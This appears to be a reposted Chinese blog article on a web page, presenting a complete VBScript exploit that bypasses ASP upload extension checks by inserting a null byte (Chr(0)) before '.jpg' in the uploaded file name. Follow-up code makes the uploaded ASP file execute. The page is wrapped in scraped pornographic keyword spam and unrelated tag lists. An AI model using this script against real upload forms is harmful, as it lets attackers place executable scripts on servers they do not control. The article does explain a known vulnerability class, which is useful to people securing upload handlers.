婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本

熱門標簽:創意電話機器人 濟源電銷外呼系統線路 世界地圖標注了哪些城市 java外呼系統是什么 外呼線路批發 梧州市地圖標注 地圖標注陽江 武穴地圖標注 石家莊慧營銷外呼系統

今天Demon 提到了這個問題,正好想到之前看到的一篇文章《Automatic file upload using IE+ADO without user interaction - VBSscript》 。這篇文章給出了本地無交互自動上傳腳本的示例,正好今天可以借來一用,原腳本利用了InternetExplorer.Application組件,我改寫了一下,用WinHttp.WinHttpRequest.5.1實現了類似的功能,關于這個組件更多的用法請參考《WinHttpRequest Object Reference》 。

復制代碼 代碼如下:

Option Explicit

Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject("Scripting.FilesystemObject")
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Nothing
Set fso = Nothing
End Function

' 代碼修改自 http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName

Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
"WinHttp.WinHttpRequest.5.1")
End Sub

Private Sub Class_Terminate()
Set m_objWinHttp = Nothing
End Sub

Public Sub setUrl(url)
m_strUrl = url
End Sub

Public Sub setFieldName(name)
m_strFieldName = name
End Sub

'Infrormations In form field header.
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template For multipart header
MPTemplate = "Content-Disposition: form-data; name=""{field}"";" + _
" filename=""{file}""" + vbCrLf + _
"Content-Type: {ct}" + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, "{field}", FieldName)
Out = Replace(Out, "{file}", FileName)
mpFields = Replace(Out, "{ct}", ContentType)
End Function
'Converts OLE string To multibyte string
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function

'Build multipart/form-data document with file contents And header info
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = "application/upload"

'The two parts around file contents In the multipart-form data.
Pre = "--" + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + "--" + Boundary + "--" + vbCrLf

'Build form data using recordset binary field
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject("ADODB.Recordset")
RS.Fields.Append "b", adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Convert Pre string value To a binary data
LenData = Len(Pre)
RS("b").AppendChunk (StringToMB(Pre) ChrB(0))
Pre = RS("b").GetChunk(LenData)
RS("b") = ""

'Convert Po string value To a binary data
LenData = Len(Po)
RS("b").AppendChunk (StringToMB(Po) ChrB(0))
Po = RS("b").GetChunk(LenData)
RS("b") = ""

'Join Pre + FileContents + Po binary data
RS("b").AppendChunk (Pre)
RS("b").AppendChunk (FileContents)
RS("b").AppendChunk (Po)
RS.Update
FormData = RS("b")
RS.Close
BuildFormData = FormData
End Function


Public Function sendFile(fileName)
Const Boundary = "---------------------------0123456789012"
m_objWinHttp.Open "POST", m_strUrl, False
m_objWinHttp.setRequestHeader "Content-Type", _
"multipart/form-data; boundary=" + Boundary

Dim FileContents, FormData
'Get source file As a binary data.
FileContents = file_get_contents(FileName)

' 下面構造了惡意文件擴展名Chr(0) .jpg
'Build multipart/form-data document
FormData = BuildFormData(FileContents, Boundary, _
FileName Chr(0) ".jpg", m_strFieldName)

m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function

Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class

Function VBMain()
VBMain = 0

Dim fileUpload
Set fileUpload = New FileUploadAttack
' 需要修改下面內容為合適內容
' 上傳url
fileUpload.setUrl "http://localhost/upload/uploadfile.asp"
fileUpload.setFieldName "filepath" ' 上傳表單框的name
' 需上傳文件路徑
If fileUpload.sendFile("E:\projects\asp\index.asp")=200 Then
MsgBox "上傳成功" fileUpload.getText()
Else
MsgBox "失敗"
End If
Set fileUpload = Nothing
End Function

Call WScript.Quit(VBMain())

上傳功能是隨便在網上找的一個簡單上傳ASP文件,然后加入我在文章中《ASP/VBScript中CHR(0)的由來以及帶來的安全問題》所述的GetFileExtensionName判斷擴展名是否是jpg。

測試結果是:手動上傳asp,失敗;利用上述攻擊腳本上傳asp文件,成功!在上傳目錄中確實是asp文件,通過瀏覽器URL也能訪問這個asp文件,只是奇怪的是顯示一片空白,我這里是IIS 7,難道是IIS版本問題,或許是file_get_contents應該返回文件的二進制流?好了,這個問題先擱在這兒,還有其他事,先閃了。

所有實驗代碼包,在這里upload.zip(代碼BUG參考下面更新說明)下載。

2011年12月25日更新

根據大家反饋的上傳文件變成Unicode Little Endian編碼問題,首先抱歉的是當時確實偷懶了,主要代碼參考的老外的,而且老外說明了一下GetFile這個函數獲取文件二進制數據,沒找到這個函數實現,也懶得去弄二進制讀取,直接搞了個file_get_contents獲取文本數據,事實證明這樣確實存在問題,下面我把補救措施說明一下吧,還是偷懶一下,直接在現有的基礎上將文本數據轉換為二進制數據。使用ADODB.Stream組件,函數如下:

復制代碼 代碼如下:

' 將指定charset的字符串str轉換為二進制
Function strtobin(str, charset)
With WSH.CreateObject("ADODB.Stream")
.Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1

strtobin = .Read()
.Close
End With
End Function

然后將上述代碼的第106行改成下面這樣(以ASCII讀取文本):

復制代碼 代碼如下:

FileContents = strtobin(file_get_contents(FileName), "ASCII")

這樣改過后上傳的ASP文件就是普通編碼的文件了,然后瀏覽器訪問這個文件,可以看到該ASP被成功解析。

不過這里覺得啰嗦了一點,其實可以直接以二進制打開文件并返回數據,這里進行了兩步:1.以文本方式讀取文件;2.將文本轉換為二進制數據。一步到位的代碼可以參考下面一次以二進制Byte()方式讀取文件數據的函數:

復制代碼 代碼如下:

'Returns file contents As a binary data
Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject("ADODB.Stream")
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function

更優化的代碼我就不寫了,主要說明的是一個上傳思路,如果大家希望得到完善的上傳實現,可以參考Demon的《VBS模擬POST上傳文件》 。
原文: https://www.jb51.net/article/26103.htm

您可能感興趣的文章:
  • IIS6 中"ASP 0201 錯誤 無效的默認腳本語言" 的解決方法
  • 使用ASP控制指定站點解析腳本語言函數
  • 用InstallShield打包ASP程序的腳本
  • asp分頁生成html的程序腳本代碼
  • 隱藏修改文件時間和文件屬性的ASP腳本
  • ASP.NET調用javascript腳本的常見方法小結
  • 從一個網站扒下的asp生成靜態頁面的代碼 腳本之家特供版
  • iis、apache與nginx禁止目錄執行asp、php腳本的實現方法
  • ASP中Server.Execute和Execute實現動態包含(include)腳本的區別
  • ASP.NET中后臺注冊js腳本使用的方法對比
  • ASP程序中常用的腳本語言

標簽:唐山 滁州 甘南 淮北 揭陽 南寧 來賓 迪慶

巨人網絡通訊聲明:本文標題《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》,本文關鍵詞  ASP,上傳,漏洞,之,利用,CHR,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本》相關的同類信息!
  • 本頁收集關于ASP上傳漏洞之利用CHR(0)繞過擴展名檢測腳本的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    蜜臀久久久99精品久久久久久| 欧美日韩一区二区在线观看| 洋洋av久久久久久久一区| 亚洲欧美日韩一区| 亚洲免费av网站| 日韩精品一级中文字幕精品视频免费观看| 欧美性做爰猛烈叫床潮| 色综合咪咪久久| 懂色av一区二区三区蜜臀| 国产精品大尺度| 麻豆国产欧美日韩综合精品二区 | 亚洲色图欧洲色图| 五月天亚洲婷婷| 欧美亚洲愉拍一区二区| 国产偷国产偷精品高清尤物| 欧美午夜寂寞影院| 一区二区三区四区在线免费观看| 欧美色综合网站| 久久嫩草精品久久久精品| 亚洲视频一区二区在线| 午夜精品福利久久久| 奇米777欧美一区二区| 一区二区三区日韩| 日韩一级大片在线| 风间由美一区二区av101| 久久色成人在线| 久久这里只精品最新地址| 精品国产sm最大网站免费看| 喷白浆一区二区| 久久99精品国产麻豆不卡| 国产亚洲自拍一区| 欧美在线综合视频| 精品视频资源站| 国产农村妇女精品| 欧美大片拔萝卜| 亚洲色图视频网站| 蜜桃精品视频在线观看| 久久精品视频一区二区| 中文字幕欧美区| 日韩欧美在线一区二区三区| 欧美主播一区二区三区美女| 中文字幕在线观看不卡| 99视频超级精品| 色狠狠色狠狠综合| 一本大道av一区二区在线播放| 日韩综合小视频| 成人av网站在线| 日韩**一区毛片| 奇米在线7777在线精品 | 色爱区综合激月婷婷| 麻豆91在线看| 国产精品乱码人人做人人爱| 91久久一区二区| 日本精品一级二级| 欧美日韩国产小视频在线观看| 午夜电影久久久| 日韩一区二区在线看| 国产麻豆精品95视频| 精品国产乱码久久久久久1区2区| 午夜精品福利久久久| 另类中文字幕网| 一区在线观看免费| 亚洲成人av中文| 亚洲黄色尤物视频| 亚洲男同性视频| 亚洲另类在线视频| 国产成人av影院| www.在线成人| 欧美激情中文不卡| 亚洲欧美日本韩国| 99久久精品国产观看| 欧美日韩一区三区| 欧美久久免费观看| 捆绑调教美女网站视频一区| 日韩美女主播在线视频一区二区三区| 国产精品中文字幕欧美| 一区二区三区中文字幕| 国产欧美精品日韩区二区麻豆天美| 色噜噜久久综合| 在线免费观看日韩欧美| 麻豆免费精品视频| 亚洲伊人色欲综合网| 中文字幕一区二区三区四区 | 91在线免费视频观看| 国产综合一区二区| 国产美女精品在线| 国产精品一二二区| 91在线精品秘密一区二区| 成人免费看视频| 在线观看一区二区视频| 日韩午夜在线播放| 欧美日韩aaaaaa| 9l国产精品久久久久麻豆| 中文字幕中文字幕中文字幕亚洲无线| 亚洲人xxxx| 99久久精品免费看| 国产欧美一区二区精品久导航| 亚洲成人综合在线| 在线综合视频播放| 亚洲一二三四区不卡| 欧美三级日韩三级| 看电视剧不卡顿的网站| 久久精品国产精品亚洲精品| 久久九九影视网| 欧美一区二区视频在线观看 | 欧美人xxxx| 日韩久久精品一区| 成人深夜福利app| 日韩三级伦理片妻子的秘密按摩| 中文字幕欧美激情一区| 欧美乱熟臀69xxxxxx| a级精品国产片在线观看| 国产综合色视频| 国产成人啪免费观看软件| 国产高清不卡二三区| 国产一本一道久久香蕉| 亚洲国产精品自拍| 国产精品亚洲第一区在线暖暖韩国| 色久优优欧美色久优优| 久久精品一区二区三区四区| 日韩高清国产一区在线| 欧美三级一区二区| 夜夜精品浪潮av一区二区三区| 大美女一区二区三区| 久久久久国产成人精品亚洲午夜| 亚洲成国产人片在线观看| 欧美系列一区二区| 亚洲午夜精品17c| 欧美精品v国产精品v日韩精品| 五月天丁香久久| 91精品国产一区二区人妖| 日韩一区精品视频| 精品少妇一区二区三区在线播放 | 欧美偷拍一区二区| 成人免费在线观看入口| 美国毛片一区二区三区| 久久综合九色综合欧美98 | 制服.丝袜.亚洲.中文.综合| 中文字幕在线免费不卡| 色综合一区二区三区| 亚洲一区二区三区影院| 欧美一区二区人人喊爽| 国产一区美女在线| 亚洲一区二区三区中文字幕在线| 欧美一区二区三区视频在线 | 视频在线观看91| 久久―日本道色综合久久| 91在线观看一区二区| 久久国产精品72免费观看| 日韩女优视频免费观看| av在线不卡免费看| 麻豆精品一区二区综合av| 国产精品私人自拍| 日韩一区二区中文字幕| 一本色道久久综合亚洲精品按摩| 国产一区二区调教| 久久精品国产一区二区三区免费看| 亚洲人xxxx| 亚洲人妖av一区二区| 亚洲精品一区二区三区精华液| 日本精品一区二区三区高清| 波多野结衣亚洲一区| 国产麻豆精品视频| 美女视频免费一区| 麻豆国产精品官网| 日韩免费一区二区三区在线播放| 成人自拍视频在线观看| eeuss鲁一区二区三区| 成人动漫一区二区在线| 国产91对白在线观看九色| 国产乱子轮精品视频| 国产凹凸在线观看一区二区| 成人中文字幕电影| 欧美最猛性xxxxx直播| 91精品国产手机| 精品国产乱码久久久久久浪潮| 日韩欧美123| 日韩一区中文字幕| 亚洲欧洲av在线| 国产午夜亚洲精品羞羞网站| 欧美日韩激情一区二区| 日韩一级大片在线| 中文字幕一区二| 日韩电影在线观看电影| 久久成人综合网| 5858s免费视频成人| 91丨porny丨国产| 2022国产精品视频| 国产精品―色哟哟| 看国产成人h片视频| 国产激情一区二区三区桃花岛亚洲| 九九**精品视频免费播放| 色系网站成人免费| 国产日韩亚洲欧美综合| 午夜亚洲福利老司机| 国产精华液一区二区三区| 韩国理伦片一区二区三区在线播放 | 日韩二区三区在线观看| 久久99九九99精品| 欧美视频在线一区|